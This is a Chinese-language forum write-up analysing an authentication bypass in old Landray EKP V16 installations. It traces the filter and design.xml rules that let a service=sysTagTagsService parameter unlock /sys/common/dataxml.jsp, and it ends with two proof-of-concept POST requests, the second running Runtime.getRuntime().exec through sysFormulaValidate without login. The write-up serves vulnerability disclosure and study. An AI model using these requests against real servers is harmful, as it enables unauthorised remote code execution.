蓝凌EKP V16老版本 bypass dataxml.jsp Auth
co_w**** 发表于 湖北 漏洞分析 1197浏览 · 2024-09-09 03:43

蓝凌EKP V16老版本 bypass dataxml.jsp Auth

前言

蓝凌EKP最早的一个RCE漏洞是直接请求/sys/common/dataxml.jsp来执行任意JS代码。在稍后的部分修复版本中,该路径做了auth限制,直接访问该路径会302跳转到登陆界面,通过分析Landary的权限处理逻辑,可通过添加参数来达到Bypass Auth。

漏洞分析

蓝凌EKP的权限处理逻辑在springSecurityFilterChain,其配置文件如下:

<sec:filter-chain pattern="/**"
                                  filters="securityContextPersistenceFilter,
                                  baseAppConfigFilter,
                    sysLogOperFilter,
                    concurrentSessionFilter,
                    logoutFilter,
                    kmssProcessingFilterProxy,
                    exceptionTranslationFilter,
                    filterInvocationInterceptor,
                    webContentCacheFilter,
                    checkIfTrustSiteUnknownRefererFilter,
                    sysDatamngPointFilter"/>

关键在于filterInvocationInterceptor这个拦截器,其中配置了一个filterInvocationDefinitionSource,其实现了匿名访问和权限控制:

public Collection<ConfigAttribute> getAttributes(Object object) throws IllegalArgumentException {
        FilterInvocation filterInvocation = (FilterInvocation)object;
        String url = filterInvocation.getRequestUrl();
        int index = url.indexOf(63);
        if (url.startsWith("/moduleindex")) {
            if (index == -1) {
                return null;
            } else {
                String query = url.substring(index + 1);
                url = StringUtil.getParameter(query, "nav");
                if (StringUtil.isNotNull(url) && !this.validateCore.checkAuthentication(url, "GET")) {
                    return this.getNoAccess();
                } else {
                    url = StringUtil.getParameter(query, "main");
                    return StringUtil.isNotNull(url) && !this.validateCore.checkAuthentication(url, "GET") ? this.getNoAccess() : null;
                }
            }
        } else {
            if (index > -1) {
                url = url.substring(0, index);
            }

            boolean nonAnonymous = false;

            int i;
            for(i = 0; i < this.nonAnonymousPaths.length; ++i) {
                if (this.pathMatcher.match(this.nonAnonymousPaths[i], url)) {
                    nonAnonymous = true;
                }
            }

            if (!nonAnonymous) {
                for(i = 0; i < this.anonymousPaths.length; ++i) {
                    if (this.pathMatcher.match(this.anonymousPaths[i], url)) {
                        return null;
                    }
                }
            }

            return this.validateCore.checkAuthentication(new ValidatorRequestContext(filterInvocation.getHttpRequest(), RequestUtils.recoverOriginUri(filterInvocation.getRequestUrl()))) ? null : this.getNoAccess();
        }
    }

除了一些定义的anonymousPaths可以未授权访问外,其他路由的处理逻辑在下面的checkAuthentication方法中,该方法中会调用loadAuthValidator方法来通过请求的URL获取module,实现如下:

public void loadAuthValidator(ValidatorRequestContext validatorContext) {
        String modulePath = validatorContext.getRequestUrl();
        int i = modulePath.indexOf(63);
        if (i > -1) {
            modulePath = modulePath.substring(0, i);
        }

        String[] paths = modulePath.split("/");
        if (paths.length >= 3) {
            SysCfgModule module = null;
            if (RequestUtils.isDataUri(modulePath)) {
                modulePath = "/" + paths[1] + "/" + paths[2] + "/";
                module = this.getModule(modulePath);
                if (module == null) {
                    modulePath = "/" + paths[2].replace("-", "/") + "/";
                    module = this.getModule(modulePath);
                }
            } else {
                modulePath = "/" + paths[1] + "/" + paths[2] + "/";
                module = this.getModule(modulePath);
                if (module == null && paths.length > 3) {
                    modulePath = "/" + paths[1] + "/" + paths[2] + "/" + paths[3] + "/";
                    module = this.getModule(modulePath);
                }
            }

            if (module == null) {
                if (logger.isDebugEnabled()) {
                    logger.debug("模块路径:" + modulePath + "未定义");
                }

            } else {
                validatorContext.setModuleValidator(module.getDefaultValidator());
                module.loadAuthValidator(validatorContext);
            }
        }
    }

这里最终的鉴权逻辑是这样的:
首先从配置文件design.xml中加载定义的访问控制,design.xml文件内容大致如下:

<module 
        urlPrefix="/sys/anonym/" 
        messageKey="sys-anonym:module.sys.anonym" >
        <roles>ROLE_SYSANONYM_SETTING</roles>
        <areaRoles>
            ROLE_SYSANONYM_DELETE;
            ROLE_SYSANONYMCATE_MAINTAINER
        </areaRoles>
        <request 
            path="sysAnonymData.do*" 
            defaultValidator="true" />
            ......

module中有一个urlPrefix,然后通过defaultValidator属性来限制request中的path值,当defaultValidator的值为true的时候表示这个path可以未授权访问。

通过审计配置文件,我们发现了如下配置信息:

<module
        urlPrefix="/sys/common/"
        messageKey="common.moduleName"
        defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)">
        </module>

......
<module
        urlPrefix="/sys/common/">
        <request
            path="dataxml.jsp*">
            <query
                validator="true"
                queryString="service=sysTagTagsService" />
        </request>
    </module>

/sys/common/路径下的所有path都有一个defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)"鉴权,但是后面又配置了一个validator="true",会覆盖掉上面的配置信息,也就是说,当请求参数中带有service=sysTagTagsService,即可未授权访问该jsp文件,从而达到了bypass auth的目的。

然后就是很常规的调用sysFormulaSimulateByJS来执行任意JS代码

漏洞复现

  1. 直接访问/sys/common/dataxml.jsp会跳转登陆:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");
  1. 带入参数service=sysTagTagsService可bypass Auth:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");&service=sysTagTagsService

0 条评论
某人
表情
可输入 255